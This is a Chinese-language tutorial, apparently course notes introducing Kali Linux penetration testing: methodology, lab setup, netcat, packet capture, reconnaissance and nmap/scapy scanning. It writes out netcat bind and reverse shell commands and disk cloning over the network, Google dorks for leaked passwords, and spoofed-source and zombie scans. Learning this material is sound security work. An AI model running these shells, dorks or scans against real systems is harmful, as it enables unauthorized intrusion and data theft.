【Kali 渗透测试】入门篇

【Kali 渗透测试】入门篇

作为渗透测试的第一篇文章,本文主要将带领你进行基础的渗透测试学习,若想要进一步学习可参考更多渗透测试以及黑客入侵与防御书籍

Kali Linux 从入门到精通(一)-概论

基本介绍

  • 1.安全目标
    • 先于攻击者发现和防止漏洞出现
      • 攻击型安全
      • 防护型安全
  • 2.渗透测试
    • 尝试挫败安全防御机制,发现系统安全弱点
    • 从攻击者的角度思考,测量安全防护有效性
    • 证明安全问题的存在,而非破坏
    • 道德约束
    • 法律
  • 3.渗透测试标准(The Penetration Testing Execution Standard)
    • PETS (http://www.pentest-standard.org)
    • 前期交互阶段:需要划清范围,通常划分为多个子系统进行渗透测试
    • 情报收集阶段:主动收集,被动收集
    • 威胁建模阶段:逆向工程,编写针对漏洞的代码
    • 漏洞分析阶段
    • 渗透攻击阶段
    • 后渗透测试阶段
    • 渗透测试报告
  • 4.渗透测试项目
    • 渗透测试范围
    • 获得授权(客户授权)
    • 渗透测试方法
      • 是否允许社会工程学
      • 是否允许拒绝服务攻击
  • 5.渗透测试误区
    • 扫描器就是一切<==只是一种手段
      • 忽视业务逻辑重的漏洞
  • 6.KALI Linux介绍
    • 基于Debain的Linux发行版本
    • 前身是BackTrack 2013年3月发布
    • 用于渗透测试和安全审计
    • 包含600+安全工具
    • FHS标准目录结构
    • 定制内核
    • 支持ARM和手机平台
    • 开源免费
  • 7.KALI LINUX 策略
    • ROOT用户策略
    • 网络服务策略
    • 更新升级策略
  • 8.建议
    • 实践是检验真理的唯一标准
    • 不要停留在了解的程度
    • Kali很强大,但不是全部

Kali Linux 从入门到精通(二)-安装

Kail Linux 安装

  • 持久加密USB安装-1
    • LUSK:Linux Unified Key Setup
      • 磁盘分区加密规范
      • 不依赖与操作系统的磁盘级加密
      • Window——-DoxBox
      • 后端: dm-crypt
      • 前端: crtptsetup
      • 微软的bitlocker
    • 将镜像刻录到U盘
      • dd if=kali-linux-version.iso of=/dev/sd* bs=1M(if–input file of=output file bs具体传输块的大小)
  • 持久加密USB安装-2
    • 为U盘创建额外分区
    • 使用LUKS加密分区
    • 打开加密分区
    • 格式化加密分区+卷标
    • 挂在加密分区,并创建persistence.conf文件

      熟悉环境

      • 登录密码:官方下载:用户root 密码为toor
      • top10安全工具
      • aircrack-ng 无线安全攻击套件
      • brupsuite:基于web,手动web渗透测试工具,通过截断客户端到服务器的请求,通过变更数据查看漏洞
      • hydra:密码破解工具
      • john:密码破解工具
      • maltgo:收集信息,层级性的信息收集手段,根据有限信息,收集大量信息
      • metasplot framework:渗透测试框架,可以替代很多安全工具,一体化作战工具
      • nmap:网络发现层的扫描器,网络扫描工具
      • owasp-zap:与brupsuit属于一类工具
      • sqlmap: sql注入工具
      • wireshark: 抓包分析工具
      • 字体调整
      • 监视网络流量
      • 强行终止程序
      • 文件目录
      • 共享文件

Kali 目录结构

  • bin:所有用户使用的执行程序目录
  • root: 引导程序目录:如grup
  • dev:设备目录
  • etc:配置文件目录
  • home:用户主目录
  • lib: 放置各种库文件目录
  • lib64
  • lost+found: 丢失文件目录
  • media:挂载外接目录
  • mnt
  • opt:应用程序目录
  • proc
  • root
  • sbin
  • selinux
  • srv
  • sys
  • sbin
  • share
  • var:日志,存放经常变动的目录

熟悉常用bash命令

  • ls:相当于dir
    • ls -l:
      • 前面字符:d 表示目录 - 表示文件 l 表示链接,相当于快捷方式 c表示设备 -b 表示块设备
    • ls -a:
    • ls -lh:以k显示
    • ls -lh –sort==size 进行排序
  • cd:进入目录
    • cd . 表示当前目录
    • cd .. 进入上一级目录
    • pwd 当前工作目录
    • cd 进入用户主目录
  • cat:查看文件内容
  • more:会显示文件的百分比数
  • less
  • tail 文件: 显示文件最后几行
  • watch -n t [命令] 每隔t秒查看信息
  • rm:删除文件
  • cp:拷贝命令 cp ps ps1
  • top:监视linux系统性能的命令
  • ps:查看进程信息
    • ps aux
  • grep:grep [文件字符串或者需要的内容] 文件位置
  • ifconfig:查看网络信息
    • ifconfig eth0 down 将网卡宕掉
    • ifconfig eth0 up 重新启动网卡
  • netstat:查看网络连接信息
    • netstat -pautu: 进行网络连接信息
  • awk
  • 管道:可对信息进行筛选,管道亦有很多命令(需掌握)
  • mount:用来挂载的命令
  • dmesg:查看msg文件内容
  • find:
    • find / -nmap nmap 查找文件
    • find . [文件] 查找当前目录中的文件
  • whereis [文件] -b [查找二进制执行文件]
  • echo:显示当前文件
  • man指令:相当于手册

vi编辑器基本使用(后续补充)

  • : set nu 显示行号
  • : wq 保存退出

    管道(后续补充)

  • | 管道符
  • ||
  • & 前后两个命令依次执行
  • && 逻辑与会有逻辑短路现象

shell脚本(后续补充)

1
2
3
4
5
6
#!/bin/bash
echo -n "IP : "
read ip
echo "your ip is:" $ip

# 使用 chmod +x 文件名.sh 更改权限
1
2
3
4
5
6
7
8
9
10
#!/bin/bash
# 实现9*9乘法表
for n in 'seq 9'
do
for m in 'seq &n'
do
echo -n "$m*$n=" 'expr $m \* &n'" "
done
echo
done
1
2
3
4
5
# 循环发现所有活的ip地址
for n in 'seq 254'
do
# -c 表示只ping一个包 awk 指定第四列,对应的是ip地址
ping 192.168.1.$n -c 1 | grep ttl | awk '{print $4}' | awk -F '{print $1}'

Kali Linux 从入门到精通(三)-入侵系统定制

定制

  • 网络配置

    • 临时IP地址
      • dhclient eth0
      • ifconfig eth0 192.168.11/24
      • route add default gw 192.168.1.1 # 添加默认网关
      • echo nameserver 192.168.1.1 > /etc/resolv.conf
    • 固定IP地址(计算机重启后依然生效)
      • auto th0
      • iface th0 inel stalic
      • address 192.168.20.1
      • netmask 255.255.255.0
      • network 192.168.20.255
      • broadcast 192.168.20.255
      • gateway 192.168.20.2
      • dns-nameservers 192.168.1.1 192.168.1.2
      • up route add -net 172.16.5.0 gw 192.168.10.100 eth1
      • down route del -net 172.24.0.0/24
  • 更新升级

    • apt-get update: 实际上是更新的是包的索引文件
    • apt-get upgrade: 实际更新包的指令
  • 安装软件包

      • apt-get 命令
    • 安装适合自己的工具软件
      • apt-get install smplayer ibus ibus-pinyin flashplugin-nonfree gdebi amule qbittorrent geany stardict meld ttf-wqy-microhei kchmviewer freemind netspeed mtr filezilla filezilla-common chromium monodevelop mono-gmcs-y
  • 浏览器插件

Kali Linux 从入门到精通(四)-代理

  • 翻墙&代理

    • GFW长城防火墙

      • Facebook,youtube

      client–>goagent–>GAE–>目标网站

    • 翻墙

      • http代理:明文传输存在弊端,容易被长城防火墙发现容量,现在可以使用https进行加密
      • socks代理
      • ssh代理
      • VPN
    • Goagent

    • Tor:暗网

      • 保护隐私防止被追踪
      • 志愿者组成
      • 长期在天朝无法使用
        • 感谢云
      • 暗网
        • 互联网引擎无法发现
        • 互联网黑市
  • 代理的意义所在
    • 加密通信
    • 隐藏来源
    • 突破网络封锁
  • 注意事项
    • 不要触及敏感地带
    • 不要从事非法行为

Kali Linux 从入门到精通(五)-测试环境准备

准备实验环境

  • 渗透非系统授权的弊端

  • 搭建自己的实验环境

    安装虚拟机

  • 微软最新软件

  • windows虚拟机

  • 安装自己的虚拟机(windows平台)

    • xp
    • Win7
    • 2003
  • Linux虚拟机

    • http://www.turnkeylinux.org(提供Linux虚拟机,每一种都需渗透测试)

    • Ubutu

      • Lamp安装
        • sudo apt-get install ssh
        • sudo apt-get install apache2
        • sudo apt-get install apache2-utile/
        • sudo service apache2 restart(报错解决: vi /etc/apache2/conf-available/fqdn.conf:ServerName:localhost)
        • sudo apt-get nstall mysql-server libapache2-mod-auth-mysql php5-mysql
        • mysql install db
        • mysql secure installation
        • sudo apt-get install php5 php5-mysql
        • cd /var/www/html
        • vi test.php
        • sudo init 0 关机
        • sudo init 6 重启
        • sudo init 1 单用户
        • sudo init 2-5 多用户
    • Metasploitable2(务必下载)

    • 模拟真实网络

      • M0n0wall 防火墙

      • 部署:

        • 接外网,内网,DMZ区
        • 256MB,8GB硬盘 m0n0虚拟机
        • 网卡1: 桥接方式网络,连接物理网络,桥接外网
        • 网卡2: 仅主机,虚拟网卡
        • 网卡3: 同网卡2
        • 无挂载,硬盘重启

        36t9AI.png

        • 背靠背防火墙(测试复杂网络架构 模拟高级企业网络拓扑)
          • Pfense(安全性高,集成大量安全插件,防护dmz)
          • http://pfense.org/ (类似于m0n0)

        36teBj.png

Kali Linux 从入门到精通(五)-基本工具使用

基本工具

  • 常用工具:

    • 经常使用且功能强大

    • 安全从业者必不可少的帮手

    • Nc/ncat

    • Wireshark

    • Tcpdump

      NETCAT-NC(瑞士军刀)

      • 基本介绍
      • 网络工具中的瑞士军刀-小身材,大智慧
      • 侦听模式/传输模式
      • telnet/获取banner模式
      • 传输文本信息
      • 传输文件/目录
      • 加密传输文件
      • 远程控制/木马
      • 加密所用流量
      • 流媒体服务器
      • 远程克隆硬盘
      • 一波操作
      • NC-TELNET/BANNER
      • nc-nv 1.1.1.1 110 (pop3 服务器)
      • nc-nv 1.1.1.1 25 (smtp 邮件服务器)
      • nc-nv 1.1.1.1 80 (网站)
      • nc -h 查看nc可用参数
      • NC-传输文本信息
      • A:nc -l -p 4444(打开4444端口) 使用netstat -pantu | grep 4444 查看端口是否打开
      • B:nc -nv 1.1.1.1 4444
      • nc -q 传输后直接断连接
      • 远程电子取证信息收集
      • NC-传输文件/目录
      • 传输文件
      • A:nc -lp 333>test.mp4
      • B:nc -nv 1.1.1.1 333 < test.mp4 -q 1
      • or
      • A: nc-q l -lp 333<a.mp4
      • B: nc-nv 1.1.1.1 333>2.mp4
      • 传输目录
      • A:tar -cvf -music/ | nc-lp 333 -q 1
      • B:nc -nv 1.1.1.1 333 | tar -xvf -
      • 加密传文件
      • A:nc -lp 333 | mcrypt -flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
      • B:mcrypt –flush -Fbq -a rjindael-256-m ecb <a.mp4 | nc -nv 1.1.1.1 333 -q 1(对称加密算法)
      • NC-流媒体服务
      • A:cat 1.mp4 | nc -lp 333
      • B:nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -
      • NC-端口扫描
      • nc -nvz 1.1.1.1-65535 (探测tcp端口)
      • nc -nvzu 1.1.1.1-1024 (探测udp端口)
      • NC-远程克隆硬盘
      • A(接收端):nc -lp 333 | dd of=/dev/sda
      • B(被取证电脑):dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1
      • 远程电子取证,可以将目标服务器远程复制,或者内存
      • NC-远程控制
      • 正向:
        • A(服务器):nc -lp 333 -c bash
        • B(客户端):nc 1.1.1.1 333
      • 反向:
        • A:nc -lp 333
        • B:nc 1.1.1.1 333 -c bash
      • 注:windows用户把bash改成cmd
      • 适用于内网访问外网
      • NC-NCAT
      • NC缺乏加密和身份验证(肉鸡可能被窃取)的能力
      • Ncat包含于nmap工具包中(可实现加密,身份验证,每次会重新生成指纹信息)
      • A:ncat -c bash –allow 192.168.20.14 -vnl 333 –ssl
      • B:ncat -nv 1.1.1.1 333 –ssl
      • 不同系统/平台的nc参数功能不尽相同

WIRESHARK(后续补充)-被动扫描大法

  • 基本介绍
    • 抓包嗅探协议分析
    • 安全专家必备的技能
    • 抓包引擎
      • Libcap9—-Linux
      • Winpcap10—Windows
    • 解码能力(评价之根本)
  • 基本使用方法
    • 启动
    • 选择抓包网卡
    • 混杂模式
    • 实时抓包
    • 保存和分析捕获文件
    • 首选项
  • WIRESHARK-筛选器
    • 过滤掉干扰的数据包
    • 抓包筛选器
    • 显示筛选器
  • WIRESHARK-常见协议包
    • 数据的分层结构
    • ARP
    • ICMP
    • TCP(三次握手)
    • UDP
    • DNS
    • HTTP(明文协议)
    • FTP
  • WIRESHARK-TCP
    • 数据流
      • HTTP
      • SMTP
      • POP3
      • SSL
  • WIRESHARK-信息统计
    • 节点数
    • 协议分布
    • 包大小分布
    • 会话连接
    • 解码方式
    • 专家系统
  • WIRESHARK-实践
    • 抓包对比nc,ncat加密与不加密的流量
    • 企业抓包部署方案(采用商业化软件)
      • Sniffer
      • Cace/riverebed (底层基于wireshark)
      • Cascad pilot(大流量抓包++)
      • 镜像端口(Cisco)
        TCPDUMP
      • 基本介绍
      • No-GUI的抓包分析工具
      • Linux,Unix系统默认安装
      • TCPDUMP-抓包
      • 抓包
      • 默认只抓68个字节
      • tcpdump -i eth0 -s 0 -2 file.pcap
      • tcpdump -i eth0 port 22
      • 读取抓包文件
      • tcpdump -r file.pcap
      • TCPDUMP-筛选
      • tcpdump -n http.cap | awk ‘{print $3}’ | sort -u
      • tcpdump -n src host [ip address] -r http.cap
      • tcpdump -n dst host [ip address] -r http.cap
      • tcpdump -n port 53 -r http.cap
      • tcpdump -nX port 80 -r http.cap
      • TCP 高级筛选
      • tcpdump -A -n ‘tcp[13]=24’ -r http.cap
      • 过程文档记录
      • Dradis(Kali 自带)
      • 短期临时小团队资源共享
      • 各种插件导入问价
      • Keepnote
      • Truecrypt(注重信息保密)
      • 团队中需要文档人员

Kali Linux 从入门到精通(七)-被动信息收集

被动信息收集

  • 公开渠道可获得的信息
  • 与目标系统不产生直接交互
  • 尽量避免留下一切痕迹
  • OSINT
    • 美国军方
    • 北大西洋公约组织
      • Passive reconnaissance(no direct interaction)
      • normal interaction
      • Active reconnaissance
      • More information greater chance of direction
        信息收集内容
  • IP地址段
  • 域名信息
  • 邮件地址
  • 文档图片数据
  • 公司地址
  • 公司组织架构
  • 联系电话/传真号码
  • 人员姓名/职位
  • 目标系统使用的技术架构
  • 公开的商业信息
    信息用途
  • 用信息描述目标
  • 发现
  • 社会工程学攻击
  • 物理缺口

信息收集-DNS

  • 域名与FQDN的区别
    • sina.com 实际域名
    • www.sina.com 完全限定域名 简称为FQDN
  • 域名记录:A(主机记录),Cname(解析成另外一个域名) NS(域的域名服务器记录),MX(邮件交换记录),ptr(不同于前面,通过ip地址解析域名 反向域名 解析)
    • 递归查询
    • 迭代查询
      DNS信息收集–NSLOOKUP
      • nslookup www.sina.com
      • server
      • type=a,mx,ns,any
      • nslookup -type example.com 156.154.70.22
      • text:spf 通过反向域名查询,判断,从而反垃圾邮件
        DNS信息收集-DIG
      • dig @8.8.8.8 www.sina.com mx
      • dig www.sina.com any
      • 反向查询: dig +noall +answer -x 8.8.8.8
      • bind版本信息:dig +noall +answer txt chaos VERSION.BAND @ns3.dnsv4.com
      • DNS追踪: dig +trace example.com
      • 抓包比较递归查询,迭代查询过程的区别
        DNS区域传输
      • dig @nsl.example.com example.com axfr
      • host -T -l sina.com 8.8.8.8
        DNS 字典爆破
      • firece -dnsserver 8.8.8.8 -dns sina.com.cn -wordlist a.txt
      • dnsdict6 -d4 -t 16 -x sina.com
      • dnsenum -f dnsbig.txt -dnsserver 8.8.8.8 sina.com -o sina.xml
      • dnsrecon -d sina.com –lifetime 10 -t brt -D dnsbig.txt
      • dnscrecon -t std -d sina.com
        DNS 注册信息
      • whois
      • whois -h whois.apnic.net 192.0.43.10
      • AFRINIC
      • APNIC
      • ARIN
      • IANA
      • ICANN
      • LACNIC
      • NRO
      • RIPE
      • InterNic
        搜索引擎
      • 公司新闻动态
      • 重要雇员信息
      • 机密文档/网络拓扑
      • 用户名密码
      • 目标系统软硬技术架构
        SHODAN
      • 搜索联网的设备
      • Banner:http,ftp,ssh,telnet
      • https://www,shodan.io/
      • 常见filter:
      • net (192.168.20.1)
      • city
      • country(CN,US)
      • port(80,21,22,23)
      • os
      • Hostname(主机或域名)
      • server
      • 200 OK cisco country:IP
      • user:admin pass:password
      • http://1.179.177.109:81/index.htm
      • linux upnp avtech
      • https://account.shodan.io/
      • https://www.shodan.io/explore
      • Add-Ons
        Google 搜索
      • + 充值 - 支付
      • 北京的电子商务公司—北京 intitle:电子商务 intext 法人 intext 电话
      • 阿里网站上的北京公司联系人-北京 site:alibaba.com inurl:contact
      • 塞班司法案的PDF文档-SOX filetype.pdf
      • 法国的支付相关页面-payment site:fr
      • Google搜索实例
        • input:”level/15/exec/~/show”(交换机)
        • intitle:”netbotz appliance””ok”(摄像头)
        • inurl /admin/login.php(php登录界面 可爆破)
        • inurl:qq.txt(qq号)
        • filetype:xls “username | password”
        • input:ftp “password” filetype:xls site:baidu.com(ftp)
        • inurl:Service.pwd(微软漏洞)
- http://exploit-db.com/google-dorks(谷歌黑客数据库)(google hacking)
- 不同浏览器都有其特有的搜索语法,需熟悉

YANDEX

  • 世界第四大搜索引擎-俄罗斯
  • https://www.yandex.com/
  • 偶尔有惊喜

    用户信息

  • 邮件,主机
    • theharvester -d sina.com -l 300 -b google
  • 文件
    • metagoofill -d microsoft.com -t pdf -l 200 -o test -f 1.html

MELTAGO(收集信息)

RECON-NG

  • 全特性的web侦查框架
  • 基于Python开发
  • web 信息搜索框架
  • 命令格式与msf一致
  • 基于Python开发
  • 使用方法:
    • 模块
    • 数据库
    • 报告
  • DNS查询
    • Google
    • Baidu
    • Bing
    • Yahoo
    • Brute force
  • 解析IP地址(查询数据库)
  • 联系人
  • 报告
  • API

Kali Linux 从入门到精通(八)-主动信息收集

基本介绍

  • 直接与目标系统交互通信
  • 无法避免留下访问的痕迹
  • 使用受控的第三方电脑进行探测
    • 使用代理或已经被控制的主机
    • 做好被封杀的准本
    • 使用噪声迷惑目标,淹没真实的探测流量
  • 扫描
    • 发送不同的探测,根据返回结果判断目标状态
      发现
      • 识别活着的主机
    • 潜在的被攻击目标
      • 输出一个IP地址列表
      • 2,3,4层发现
        二层发现(渗透进目标系统后,发现内网其他信息)
  • 优点:扫描速度快,可靠
  • 缺点:不可路由
  • Arp协议:抓包
    二层发现–arping命令:
    • arping
    • arping 1.1.1.1 -c 1
    • arping 1.1.1.1 -d (发现重复响应, 两个不同的MAC地址拥有同一个IP,而此时IP为网关地址,此时即为ARP欺骗,实现中间人攻击,窃取密码,篡改数据等恶意参数)
    • arping -c 1.1.1.1 | grep “bytes from” | cut -d”” -f 5 | cut -d “(“ -f 2 | cut -d”)” -f 1
    • 脚本
      • arping1.sh eth0 > addr
      • arping2.sh addrs
        二层发现–nmap 在二层发现中的应用
  • nmap 1.1.1.1-254 -sn(可进行网段扫描 -sn表示不进行网段扫描)
  • nmap -iL iplist.txt -sn(可对文本文件进行扫描)
  • nmap很强大 后面单独介绍

二层发现–Netdiscover

  • 专用于二层发现
  • 可用于无线和交换环境
  • 主动和被动探测
    • 主动
      • netdiscover -i eth0 -r 1.1.1.0/24
      • netdiscover -l iplist.txt
    • 被动
      • netdiscover -p (将网卡置于混杂模式)
      • 主动arp容易触发报警(入侵检测系统触发报警)
        二层发现–Scapy
  • 作为Python库进行调用
  • 也可作为单独的工具使用
  • 抓包,分析,创建.修改,注入流量
  • apt-get install python-gnuplot(处理报警信息)
  • Scapy
    • ARP().display()
    • Sr1()
  • Python 脚本
    • Arp1.py
      • subprocess:调用操作系统
    • Arp2.py
      发现-三层发现
  • 优点
    • 可路由
    • 速度比较快
  • 缺点
    • 速度比二层慢
    • 经常被边界防火墙过滤
  • IP,ICMP协议
    三层发现-PING命令
  • Ping 1.1.1.1 -c 2
  • Ping -R 1.1.1.1 / tracetoute 1.1.1.1
  • Ping 1.1.1.1 -c 1 | grep “bytes from” | cut -d” “ -f 4 | cut -d “:” -f 1
  • 脚本
    Ping.sh 1.1.1.0
    三层发现-Scapy
  • OSI多层堆叠 手工生成ICMP包/ICMP
  • ip=IP()
  • ip.dst=”1.1.1.1”
  • ping=ICMP()
  • a=sr1(ip/ping)
  • a.display()
  • Ping 不存在的地址
    • a=sr1(ip/icmp.timeout=1)
  • a=sr1(IP(dst=”1.1.1.1”)/ICMP().timeout=1)
  • 脚本
    三层发现-nmap
  • nmap -sn 1.1.1.1-255
  • nmap -iL iplist.txt -sn
    三层发现-fping
  • fping 1.1.1.1 -c 1
  • fping -g 1.1.1.1 1.1.1.2
  • fping -g 1.1.1.0/24
  • fping -f iplist.txt
    三层发现-Hping
  • 能够发送几乎所有TCP/IP包
  • 功能强大但每次只能扫描一个目标:(
  • hping3 1.1.1.1 -icmp -c 2
  • for addr in$(seq 1 254):do hping3 1.1.1.$addr –icmp -c 1 >> handle.txt & done
    发现-四层发现
  • 优点:
    • 可路由且结果可靠
    • 不太可能被防火墙过滤
    • 甚至可以发现所有端口都被过滤的主机
  • 缺点:
    • 基于状态过滤的防火墙可能过滤扫描
    • 全端口扫描速度慢
  • TCP
    • 未经过请求的ACK-RST(可用于判断主机是否存活)
    • SYN-SYN/ACK,RST
  • UDP
    • ICMP端口不可达,一去不复返
      四层发现–Scapy(TCP发现)
  • ACK-TCP Port–RST
  • Scapy
    • i=IP()
    • i.dst=”www.baidu.com"
    • t=TCP()
    • t.flags=’A’
    • r=(i/t)
    • a=sr1(r)
    • a.display()
  • a=sr1(IP(dst=”www.baidu.com")/TCP(dport=80,flags='A'),timeout=1))
  • ACK_Ping.py
    四层发现–Scapy(UDP发现)
  • UDP-UDP Port-ICMP
  • i=IP()
  • u=UDP()
  • u.dport=33333
  • r=(i/u)
  • a=sr1(r.timeout=1,verbose=1)
  • A.display()
    • ICMP
  • UDP_Ping.py
    • UDP发现不可靠
      四层发现-nmap
  • nmap 1.1.1.1-254 -PU53 -sn
  • nmap 1.1.1.1-254 -PA80 -sn
  • nmap -iL iplist.txt -PA80 -sn
    四层发现
  • hping3 -udp 1.1.1.1 -c 1
  • for addr in $(seq 1,254); do hping3 -udp 1.1.1.$addr -c 1 >> r.txt; done
    • grep Unreachable.txt | cut -d” “ -f 5 | cut -d “=” -f 2
    • ./udp_hping.sh 1.1.1.0
  • hping3 1.1.1.1 -c 1 (TCP)
    • hping3 1.1.1.1
    • ./TCP_hping.sh
    • Flag 0–ACK.RST
      端口扫描
      • 端口对应网服务及应用端程序
      • 服务端程序的漏洞通过端口攻入
      • 发现开发的端口
      • 更具体的攻击面
      • 攻击流程:发现活的IP->发现开发端口->通过端口漏洞攻入
        端口扫描之UDP端口扫描
      • 假设ICMP port-unreachable 响应代表端口关闭
    • 目标系统不响应ICMP port-unreachable时,可能产生误判
      • 完整的UDP应用层请求
    • 准确性高
    • 耗时巨大
      • 具体操作
      • Scapy UDP Scan
        • 端口关闭:ICMP port-unreacheable
        • 端口开放:没有回包
        • 了解每一种基于UDP的应用层结构很有绷住
        • 与三层相同的技术
        • 误判
      • Scapy
        • sr1(IP(dst=”1.1.1.1”)/UDP(dport=53).timeout=1,verbose=1)
      • ./udp_scan.py 1.1.1.1 1 100
        端口扫描(UDP)-nmap
      • Nmap
      • nmap -sU 1.1.1.1
      • 默认的1000个参数
      • ICMP host-unreachable
      • nmap 1.1.1.1 -sU -p 53
      • nmap -iL iplist.txt -sU -p 1-220

端口扫描(TCP)-nmap

  • TCP 端口扫描
    • 基于连接的协议
    • 三次握手
      3ceOHS.png
    • 隐蔽扫描–syn
      • 不建立完整连接
      • 应用日志不记录扫描行为-隐蔽
- 僵尸扫描
- 端口开放状态:
 ![3cm9cq.png](https://s2.ax1x.com/2020/03/01/3cm9cq.png)
- 端口状态
 ![3cmCj0.png](https://s2.ax1x.com/2020/03/01/3cmCj0.png)
    - 极度隐蔽
    - 实施条件苛刻
    - 可伪造源地址
    - 选择僵尸机
       - 闲置系统
       - 系统使用递增的IPID
          - 0
          - 随机

- 全连接扫描
- 所有TCP扫描方式都是基于三次握手的变化来判断目标端口状态

隐蔽端口扫描

  • Syn-syn.ack-rst
  • Scapy
    • srl(IP(dst=”your ip address”)/TCP(dport=80),timeout=1,verbose=1)
    • ./syn_scan.py
  • namp
    • nmap -sS 1.1.1.1 -p 80.21.25.110 443
    • nmap -sS 1.1.1.1 -p –65535 –open
    • nmap -sS 1.1.1.1 -p –open
    • nmap -sS -iL iplist.txt -p 80
  • hping3
    • hping3 1.1.1.1 –scan 80 -S
    • hping3 1.1.1.1 –scan [ip] -S
    • hping3 1.1.1.1 –scan 0-65535 -S
    • hping3 -c 10 -S –spoof [伪造IP] -p ++1 1.1.1.1.3
      全连接端口扫描
    • Scapy
    • Syn扫描不需要raw packets
    • 内核认为syn/ack是非法包,直接发rst中断连接
    • 全连接扫描对scapy比较困难
    • sr1(IP(dst=”www.baidu.com")/TCP(dport=22,flags='S'))
    • ./tcp_scan1.py
    • ./tcp_scan2.py
    • iptables(Linux防火墙) -A OUTPUT -p tcp –tcp–flags RST RST -d “www.baidu.com" -j DROP
    • nmap
    • nmap -sT 1.1.1.1 -p 80
    • nmap -sT 1.1.1.1 -p 80.21.25
    • nmap -sT 1.1.1.1 -p 80-200
    • nmap -sT iplist.txt -p 80
    • 默认1000个常用端口
    • dmiltry
    • 功能简单,但使用简便
    • 默认150个最常用的端口
    • dmiltry -p 172.16.36.135
    • dmiltry -p 172.16.36.135 -o output
    • nc
    • nc -nv -w 1 -z [your ip address ] 1-100
    • for x in ${seq 20 30}; do nc -nv -w 1 -z 1.1.1.1 $x; done | grep open
    • for x in $(seq 1 254); do nc -nv -w 1 -z 1.1.1.$x 80; done
      僵尸扫描(条件苛刻 需要合格的僵尸机)
    • 合格的僵尸机:xp系统,windows 2003 server
    • Scapy-zombie.py
      • i=IP()
      • t=TCP()
      • rz=(i/f)
      • rt=(i/t)
      • rz[IP].dst=IPz
      • rz[TCP].dport=445
      • rt[IP].src=IPz
      • rt[IP].dst=IPt
      • rt[TCP].dport=22
      • az1=sr1(rz) / at=sr1(rt) / az2=sr1(rz)
      • az1.dsiplay() / az2.display()
    • xp:僵尸机,metasploit:目标机,kali:扫描机
    • nmap
  • 发现僵尸机
  • 扫描目标
    • nmap 172.16.36.135 -sl 172.16.36.134 -Pn -p 0-100
      服务扫描
  • 识别开放端口上运行的应用
  • 识别目标操作系统
  • 提高攻击效率
    • Banner捕获
    • 服务识别
    • 操作系统识别
    • SNMP分析
    • 防火墙识别
      Banner捕获
  • 软件开发商
  • 软件名称
  • 服务类型
  • 版本号
    • 直接发现已知的漏洞和弱点
  • 连接建立后直接获取banner
  • 另类服务识别方法
    • 特征行为和响应字段
    • 不同的响应可用于识别底层操作系统
  • 基本操作
    • way1: nc -nv [your ip address]
    • way2:python socket:socket 模块用于连接网络服务
1
2
3
4
5
6
import socket
banner=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
banner.connect(("www.baidu.com",21))
banner.recv(4096) # 接收数据大小
banner.close()
exit()
- Banner不允许抓取,recv无返回将挂起
- way3: 
    - dmitry -p www.baidu.com
    - dmitry -pb www.baidu.com
- way4:
    - nmap -sT [ip address] -p 22 --script=banner nse
- way5:
    - amap -B "ip address"
    - amap -B "ip address" 1-65535
    - amap -B "ip address" 1-65535 | grep on
    - amap [ip address]
    - amap [ip address] -q
    - amap [ip address] -qb
  • Banner 信息抓取能力有限
  • nmap响应特征分析识别服务
    • 发送系列复杂的探测
    • 依据响应特征signature
  • nc -nv 1.1.1.1 80
  • nmap 1.1.1.1 -p 80 -sV

SNMP

  • 简单网络管理协议
  • Community strings
  • 信息查询或重新配置
  • 识别和绕过防火墙筛选
    操作系统识别
    • 操作系统识别技术
    • 种类繁多
    • 好产品采用多种技术组合
    • TTL起始值
    • Windows: 128(65-128)
    • Linux/Unix:64 (1-64)
    • 某些Unix:255
    • python脚本
from scapy.all import *
win="1.1.1.1"
lin="1.1.1.2"
aw=sr1(IP(dst=win)/ICMP())
al=sr1(IP(dst=linu)/ICMP())
if al[IP].ttl<64
   print "host is linux"
else
   print "host is windows"
  • nmap使用多种技术识别操作系统
    • nmap 1.1.1.1 -O
    • 系统服务特征
  • xprobe2 1.1.1.1
    • 结果有误差
  • 被动操作系统识别
    • IDS
    • 抓包分析
    • 被动扫描
    • p0f
      • 结合ARP地址欺骗识别全网OS

        SNMP扫描

  • snmp(简单网络管理协议)
    • 信息的金矿
    • 经常被错误配置
    • public/private/manager
  • MIB Tree (查用常用操作系统和设备信息)
    • SNMP Management information Base(MIB)
    • 树形的网络设备管理功能数据库
    • 1.3.6.1.4.77.1.2.25
  • onesixtyone 1.1.1.1 public
  • onesixtyone -c dict.txt -i hosts -o my.log -w 100
  • snmpwalk 1.1.1.1 -c public -v 2c
  • 用户
    • snmpwalk -c public -v 2c 1.1.1.1 1.36.1.4.1.77.1.2.25
  • snmpcheck -t [input ip address]
  • snmpcheck -t [input ip address] -c private -v 2
  • snmpcheck -t [input ip address] -w

    SMP 扫描

    • Server Message Block协议
      • 微软历史上出现安全最多的协议
      • 实现复杂
      • 默认开放
      • 文件共享
      • 空会话未身份认证访问(SMBI)
        • 密码策略
        • 用户名
        • 组名
        • 机器名
        • 用户,组SID
  • nmap -v -p139,445 192.168.60.1-20
  • nmap 192.168.60.4 -p139,445 –script=smb-os-discovery.nse
  • nmap -v -p139,445 –script=smb-vuln-*.nse –script-orgs=unsafe=1.1.1.1
  • namp:脚本位置: /usr/share/nmap/scripts
  • nbtscan -r 192.168.60.0/24
  • enum4linux -a 192.168.60.10
    3cmkHU.png

    SMTP 扫描

    • nc -nv 1.1.1.1 25
    • VRFY root
    • nmap smtp.163.com -p25 –script=smtp-enum-users.nse –script-args=smtp-enum-users.methods={VRFY}
    • nmap smtp.163.com -p25 –script=smtp-open-relay.nse
    • smtp-user-enum -M VRFY -U users.txt -t 1.1.1.1
    • ./smtp.py
      3cmEEF.png
      防火墙识别
  • 通过检查回包,可能识别端口是否经过防火墙过滤
  • 设备多种多样,结果存在一定误差
    3cmVN4.png
  • scapy
  • python 脚本
  • namp
    • nmap有系列防火墙检测功能
    • nmap -sA 172.16.36.135 -p 22

      负载均衡识别

  • 广域网负载均衡
    • DNS
  • HTTP-Loadbalancing
    • Nginx
    • Apache
  • lbd www.baidu.com
  • lbd mail.163.com

    WAF识别

  • WEB应用防火墙
  • wafw00f -l
  • wafw00f http://www.microsoft.com
  • nmap www.microsoft.com –script=http-waf-detect.nse
  • 实际可绕过,需要使用机器学习,结合语法,词法几乎可完全避免sql等web攻击

NMPA补充(强大的扫描器)

  • 所有参数
